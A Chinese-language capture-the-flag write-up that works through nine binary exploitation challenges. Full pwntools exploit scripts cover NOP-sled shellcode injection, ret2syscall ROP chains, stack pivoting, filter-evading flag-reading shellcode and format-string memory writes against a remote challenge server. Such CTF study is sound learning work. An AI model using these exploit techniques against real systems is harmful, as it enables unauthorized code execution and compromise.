​ 拖了挺久才整理…不应该…以后要及时复盘. 本身题不是很难,不过有很多小细节,自己之前没弄懂,还是说有时间的话,多研究研究,以及之前的题,要进行一定的复盘.

恢复符号

​ 比较恶心的一个点(其实也不恶心,就是自己之前没弄过),找到了一些文章,然后github有编译好的符号文件,可以直接ida导入就好了,回头有时间可以自己编译一下

https://github.com/maroueneboubakri/lscan

https://blog.csdn.net/Breeze_CAT/article/details/103788796

​ ida中shift+f5,然后把符号文件添加进去

​ 还有就是一些地址的计算…头大,,(估计还是原理没完全搞明白)

pwn1

​ 栈长度是0x68 = 104,但能读取256,很明显的栈溢出,可以覆盖返回地址,而且没有开NX保护,可以写shellcode,于是问题就变成了怎么跳到shellcode呢,或者怎么知道shellcode的地址,puts的话,遇到\x00才会停止所以可以前面填满,然后输出ebp这里的值,这里的值好像会有一些变化,所以可以不用太具体,前面一直加nop就好了,跳到nop然后走,然后shellcode

1
2
1d:00740xffffd4f4 ◂— 0x0
1e:0078│ ebp 0xffffd4f8 —▸ 0xffffd508 ◂— 0x0

​ ebp和esp差了0x90 esp和ecx(开始输出字符串那里)差了0x28,ebp输出的值和ebp差了0xbe,这样有点乱,画图会清晰很多

image-20230603191839695

​ 这样其实有问题,不太对,因为ebp那里的值其实是不确定的,但总是会往前指,或多或少,有时候正好指到shellcode开头或者偏移一点点,至于为什么呢…可以后面在研究,可以简单的跳到这个位置就好了,加一些nop(但是打远程的时候不知道为什么老不成功,可以加一点偏移,因为毕竟是往前跳)

​ 有system有/bin/sh 能不能rop呢?

p32(addr-0xbe+0x2e+0x28)

​ 换句话说,ebp这个位置的值如果正好位于 [ebp-0x68,ebp-len(shellcode)]之间的话,就正好到了nop,如果大的话,就需要我们来加一点值了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
##!/usr/bin/env python
from pwn import *

#sh = process('./pwn1')
sh = remote("101.43.247.245",9200)
#systemaddr = 0x8048440
#binsh = 0x80486C0
#sh.sendline(b'A' * (0x68+4) + p32(systemaddr)+p32(0)+p32(binsh))

context.log_level= "debug"
context.terminal = ['tmux', 'splitw', '-h']
#gdb.attach(sh,"b *0x80488F2")
#gdb.attach(sh)
sh.recvuntil(b"say")
sh.sendline(b"a"*0x68)
#addr = u32(sh.recv(8)[4:8])
sh.recv(0x68)
addr = u32(sh.recv(4))
shellcode = asm(shellcraft.sh())
nop = asm('''
nop
''')
shellcode = nop*30+shellcode
payload = shellcode.ljust(0x68, b'b') + p32(0)+p32(addr+0xbe-0x78+0x10-4)
print(hex(addr))
print(hex(addr+0xbe-0x90+0x28+4))
sh.sendline(payload)
sh.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
##!/usr/bin/env python
from pwn import *

sh = process('./pwn01')
#sh = remote("101.43.247.245",9200)
#systemaddr = 0x8048440
#binsh = 0x80486C0
#sh.sendline(b'A' * (0x68+4) + p32(systemaddr)+p32(0)+p32(binsh))

context.log_level= "debug"
context.terminal = ['tmux', 'splitw', '-h']
#gdb.attach(sh,"b *0x80488F2")
#gdb.attach(sh)
sh.recvuntil(b"say")
sh.sendline(b"a"*0x68)
#addr = u32(sh.recv(8)[4:8])
sh.recv(0x68)
addr = u32(sh.recv(4))
print(hex(addr))
#pause()
shellcode = asm(shellcraft.sh())
nop = asm('''
nop
''')
shellcode = nop*40+shellcode
payload = shellcode.ljust(0x68,b'b') + p32(0)+p32(addr+0x2e+0x28-4)
sh.sendline(payload)
sh.interactive()

image-20230603182001856

还遇到很玄学的问题,nop加多了,怎么也不行,

感觉像是后面的指令并没有识别出来 不多,好像是没传送完全?

image-20230603182755733

pwn2

​ 加了nx保护,用rop吧,ret2syscall, 这下不用算哪个比较恶心的shellcode的位置了,用ret2syscall是因为没有找到system函数..

​ execve(“/bin/sh”,NULL,NULL)

​ 其中,该程序是 32 位,所以我们需要使得

  • 系统调用号,即 eax 应该为 0xb

  • 第一个参数,即 ebx 应该指向 /bin/sh 的地址,其实执行 sh 的地址也可以。

  • 第二个参数,即 ecx 应该为 0

  • 第三个参数,即 edx 应该为 0

    没有 /bin/sh,那就写入到栈后面,反正需要栈的地址,计算一下就可以了

1
2
3
4
5
6
7
8
9
10
11
12
0x080b8eb6 : pop eax ; ret

0x080481c9 : pop ebx ; ret

0x080df8bd : pop ecx ; ret

0x0806f83b : pop edx ; ret

0x0806d443 : int 0x80

============================================================
0x08048798 : leave ; ret

​ 写一下payload

​ 栈是104+4(ebp) = 108, 溢出了 256-108 = 148字节

1
2
3
4

binsh = addr + 10*4
payload= b"a"*0x68 + b"b"*4 + p32(pop_eax)+p32(0xb)+p32(pop_ebx)+p32(binsh)+p32(pop_ecx)+p32(0)+p32(pop_edx)+p32(0) + p32(int80)

泄露栈地址

​ puts函数遇到\n才会停止,所以可以以此来泄露栈上残留的值来泄露地址,其实不一定要泄露这个,哪个都行, 不过有一个问题就是,这个值会是固定的嘛… 

​ 不是固定的….可以换一个泄露,但是如果覆盖了ebp的话,是不是会影响栈桢呢….

image-20230605205630458

​ 溢出长度是不够的,需要栈迁移

​ 当时好像想的是先把/bin/sh写到一个地方…

这是做的时候写的exp,是有概率拿到shell的…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
##!/usr/bin/env python
from pwn import *

#sh = process('./pwn1')
sh = remote("101.43.247.245",9201)
#systemaddr = 0x8048440
#binsh = 0x80486C0
#sh.sendline(b'A' * (0x68+4) + p32(systemaddr)+p32(0)+p32(binsh))

context.log_level= "debug"
context.terminal = ['tmux', 'splitw', '-h']
#gdb.attach(sh,"b *0x80488F2")
#gdb.attach(sh)

# 泄露栈地址
sh.recvuntil(b"say")
sh.sendline(b"a"*0x68)
#addr = u32(sh.recv(8)[4:8])
sh.recv(0x68)
addr = u32(sh.recv(4))


pop_eax = 0x080b8eb6
pop_ebx = 0x080481c9
pop_ecx = 0x080df8bd
pop_edx = 0x0806f83b
int80 = 0x0806d443
leaveret = 0x08048798
binsh = addr + 0xae-0x78+0x10-4 + 11*4-4
payload= p32(pop_eax)+p32(0xb)+p32(pop_ebx)+p32(binsh)+p32(pop_ecx)+p32(0)+p32(pop_edx)+p32(0) + p32(int80) + b"/bin/sh\x00"
#payload= b"/bin/sh\x00"*0x8

payload = payload.ljust(0x68,b"a")+p32(addr+0xae-0x78+0x10-4)+p32(leaveret)

#payload = payload.ljust(0x68,b"a") +p32(0)+p32(addr+0xbe-0x78+0x10-4)

print(hex(addr))
print(hex(addr+0xae-0x78+0x10-4))
sh.sendline(payload)
sh.interactive()

​ 查看符号 readelf objdump?

pwn3

恶心的过滤…怎么把过滤应用到这了,

主要是 一个常用的指令, push xxx, 转成字节码会有\x68,正好命中了规则,草!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
##!/usr/bin/env python
from pwn import *
#context(os='linux',arch="i386")
#sh = process('./pwn3')
sh = remote("101.43.247.245",9202)
#systemaddr = 0x8048440
#binsh = 0x80486C0
#sh.sendline(b'A' * (0x68+4) + p32(systemaddr)+p32(0)+p32(binsh))
context.arch= 'x86'
context.log_level= "debug"
context.terminal = ['tmux', 'splitw', '-h']
#gdb.attach(sh,"b *0x8048967")
#gdb.attach(sh)
sh.recvuntil(b"say")
'''
sh.sendline(b"a"*0x60+p32(0)+p32(0x99999)+b"d"*8)
#sh.sendline(b"a"*0x70)
#addr = u32(sh.recv(8)[4:8])
sh.recv(0x70)
addr = u32(sh.recv(4))
print(hex(addr))
print(hex(addr+0xbe-0x90+0x28+4))
'''

pop_eax = 0x080b8f16
pop_ebx = 0x080481c9
pop_ecx = 0x080df91d
pop_edx = 0x0806f89b
int80 = 0x0806d4a3
leaveret = 0x08048798
bssaddr = 0x080ECDBB
jmpesp = 0x080dea1f
#binsh = addr + 0xae-0x78+0x10-4 + 11*4-4
str = ""


#shellcode = asm("push 0x0;")
shellcode = asm('''
push 0
mov eax,0x7478742e
push eax
mov eax,0x67616c66
push eax
mov ebx,esp
xor ecx,ecx #0
xor edx,edx #0
mov eax,0x5 #调用号
int 0x80
mov eax,0x3;
mov ecx,ebx; # ecx = char __user *buf 缓冲区,读出的数据-->也就是读“flag”
mov ebx,0x3; # 文件描述符 fd:是文件描述符 0 1 2 3 代表标准的输出输入和出错,其他打开的文件
mov edx,0x120; #对应字节数
int 0x80;
mov eax,0x4; # eax = sys_write
mov ebx,0x1; # ebx = unsigned int fd = 1
int 0x80;
''')
#shellcode = b"\x66\x6c\x61\x67" + shellcode
print(shellcode)
#shellcode = asm('push 0x0;push 0x67616c66;mov ebx,esp;xor ecx,ecx;xor edx,edx;mov eax,0x5;int 0x80')
#shellcode+=asm('mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov edx,0x100;int 0x80')
#shellcode+=asm('mov eax,0x4;mov ebx,0x1;int 0x80')

payload1 = p32(pop_eax)+p32(0xb)+p32(pop_ebx)+p32(0)+p32(pop_ecx)+p32(0)+p32(pop_edx)+p32(0) + p32(int80) + b"cat$flag.txt\x00"
#payload1 = p32(pop_eax)+p32(0x3)+p32(pop_ebx)+p32(0)+p32(pop_ecx)+p32(bssaddr)+p32(pop_edx)+p32(0x20) + p32(int80)
#payload2 = p32(pop_eax)+p32(0x5)+p32(pop_ebx)+p32(bssaddr)+p32(pop_ecx)+p32(0)+p32(pop_edx)+p32(0) + p32(int80)
#payload2 += p32(pop_eax)+p32(0x3)+p32(pop_ebx)+p32(3)+p32(pop_ecx)+p32(bssaddr)+p32(pop_edx)+p32(0x20) + p32(int80)
#payload2 += p32(pop_eax)+p32(0x3)+p32(pop_ebx)+p32(0)+p32(pop_ecx)+p32(bssaddr)+p32(pop_edx)+p32(0x20) + p32(int80)

#payload = shellcode
#print(payload)
#print("length")
#print(len(payload))
#shellcode = b""
payload = shellcode.ljust(0x60,b"a") + p32(0)+p32(0xaaaaa) + p64(0) + p32(0xaaa) + p32(jmpesp) + asm("sub esp,0x78;jmp esp")
#payload = b"a"*0x60 + p32(0)+p32(0xaaaaa) + p64(0) + p32(0xaaa) + p32(jmpesp) + asm("sub esp,0x78;jmp esp")
#payload = b"a"*0x60 + p32(0)+p32(0x9999)


sh.sendline(payload)

sh.recv(0x120)
sh.interactive()

pwn4

​ 0x68 ebp ret 的栈空间 输入0x80 24字节溢出, 减去4字节ebp的话,还有20字节

​ 只开了NX,那就还是rop吧,这个有system和/bin/sh、或者直接后门函数..

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
plt 0x8048440 system

0x80486C0 binsh

.text:080485BD public shell
.text:080485BD shell proc near
.text:080485BD ; __unwind {
.text:080485BD push ebp
.text:080485BE mov ebp, esp
.text:080485C0 sub esp, 8
.text:080485C3 sub esp, 0Ch
.text:080485C6 push offset command ; "/bin/sh"
.text:080485CB call _system
.text:080485D0 add esp, 10h
.text:080485D3 nop
.text:080485D4 leave
.text:080485D5 retn
.text:080485D5 ; } // starts at 80485BD
.text:080485D5 shell endp
.text:080485D5

​ 怎么看system的地址呢?,就是push的值不一样,但怎么确定哪个是system呢? (这个是动态链接了!)

image-20230605221857581

exp

1
2
3
4
5
6
7
8
9
from pwn import *

#sh = process('./pwn04')
sh = remote("101.43.247.245",9203)
systemaddr = 0x8048440
binsh = 0x80486C0
sh.sendline(b'A' * (0x68+4) + p32(systemaddr)+p32(0)+p32(binsh))
# sh.sendline(b'A' * (0x68+4) + p32(0x80485BD))
sh.interactive()

pwn5

主要是要理解清楚逻辑和内存代码布局就可以了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
signed int sub_80488CE()
{
int v0; // eax
char v2; // [esp-Ch] [ebp-24h]
int v3; // [esp+Ch] [ebp-Ch]

sub_804887C();
v3 = sub_8059F50(48);
sub_8048987(v3, 48);
v0 = sub_804DBD0(v3 + 16) + 5;
if ( v0 == 8 )
{
sub_8048987(v3, 48);
}
else if ( v0 > 8 )
{
if ( v0 == 10 )
return 0;
if ( v0 == 85145 )
sub_804F700("/bin/sh");
}
else if ( v0 == 6 )
{
sub_804FA00("where is shell", v2);
}
return 1;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

#sh = process('./pwn5')
sh = remote("101.43.247.245",9204)
systemaddr = 0x8048440
binsh = 0x80486C0

context.log_level= "debug"
context.terminal = ['tmux', 'splitw', '-h']
#gdb.attach(sh,"b *0x008048987")


#payload = p32(0x1234)+p32(0x1234)+ p32(0x1234)+p32(0x1234)+ p32(0x1234)+p32(0x1234)+ p32(0x1234)+p32(0x1234)+p32(0x14c94000)
payload = "1234123412341234" + "85140"
sh.sendline(payload)
sh.interactive()

pwn6

看看又改了啥…

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
signed int sub_80488CE()
{
int v0; // eax
char v2; // [esp-Ch] [ebp-24h]
char *nptr; // [esp+Ch] [ebp-Ch]

sub_804887C();
nptr = (char *)sub_8059F40(48);
sub_8048980(nptr, 48);
v0 = atoi_0(nptr);
if ( v0 == 2 )
{
sub_8048980(nptr, 48);
}
else if ( v0 > 2 )
{
if ( v0 == 3 )
return 0;
if ( v0 == 12345 )
sub_804F6F0("/bin/sh");
}
else if ( v0 == 1 )
{
sub_804F9F0("where is shell", v2);
}
return 1;
}

输入12345即可

root@hecs-149507:~/haida# nc 101.43.247.245 9205

12345

pwn7

1
2
3
4
5
6
7
8
9
int sub_89588B7()
{
char s; // [esp+0h] [ebp-68h]

sub_895F980("please input the way you want go");
__libc_read(0, &s, 96);
_IO_puts(&s);
return sub_80488E7(&s, 0);
}

一个char为什么能占据那么多栈空间???

应该是有很多路径,可以根据/bin/sh回溯吧?

是的…一点点回溯就可以找到

845542A -> 816c3f7->8091787->805ac47 ->804d177->8049ae7->8048cd7->8048977->80488e7->main

p32(87)+p32(83)+p32(68)+p32(87)+p32(65)+p32(65)+p32(87)+p32(68)+p32(87)

878368876565876887

WSDWAAWDW(这个就是答案)

为什么87变成0x38了 56了

0x80488fd movzx eax, byte ptr [eax]

pwn8

格式化字符串,修改内存值即可

修改0x80EBF9C处的值为28

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int sub_80488CE()
{
int result; // eax
char v1; // [esp+0h] [ebp-68h]

sub_804F9B0("please input what you want say");
__libc_read(0, &v1, 96);
sub_804F9B0(&v1);
if ( dword_80EBF9C == 28 )
result = sub_804F6B0("/bin/sh");
else
result = sub_804F9B0("the key is %d %d");
return result;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *


payload = b"%28d" + b"A" * (0x90 - len(b"%28d")) + p32(0x80EBF9C)

sh = remote("101.43.247.245",9207)

context.log_level= "debug"
context.terminal = ['tmux', 'splitw', '-h']
#gdb.attach(sh,"b *0x008048987")

#payload = b"%28d" + b"A" * (0x90 - len(b"%28d")) + p32(0x80EBF9C)
payload = fmtstr_payload(4,{0x80EBF9C:28})
sh.sendline(payload)
sh.interactive()

pwn9

1
2
3
4
5
6
7
8
9
10
11
int sub_8048945()
{
char v1; // [esp+0h] [ebp-1B8h]
char v2; // [esp+150h] [ebp-68h]

_IO_puts("please input your username");
__libc_read(0, &v2, 32);
_IO_puts("please input your passwd");
__libc_read(0, &v1, 335);
return sub_80488E7(&v1);
}

不存在溢出

后面函数是往一个地址写数据..有什么用呢?

有后们函数,所以应该是要覆盖字符串,或者说字符串复制

0x08048948 覆盖为 0x80488CE(system)

第一次写入要覆盖的地址,第二次覆盖

问题

回头有时间可以自己编译一下符号

​ 这样其实有问题,不太对,因为ebp那里的值其实是不确定的,但总是会往前指,或多或少,有时候正好指到shellcode开头或者偏移一点点,至于为什么呢…可以后面在研究

哪个都行, 不过有一个问题就是,这个值会是固定的嘛…

plt的过程再熟悉下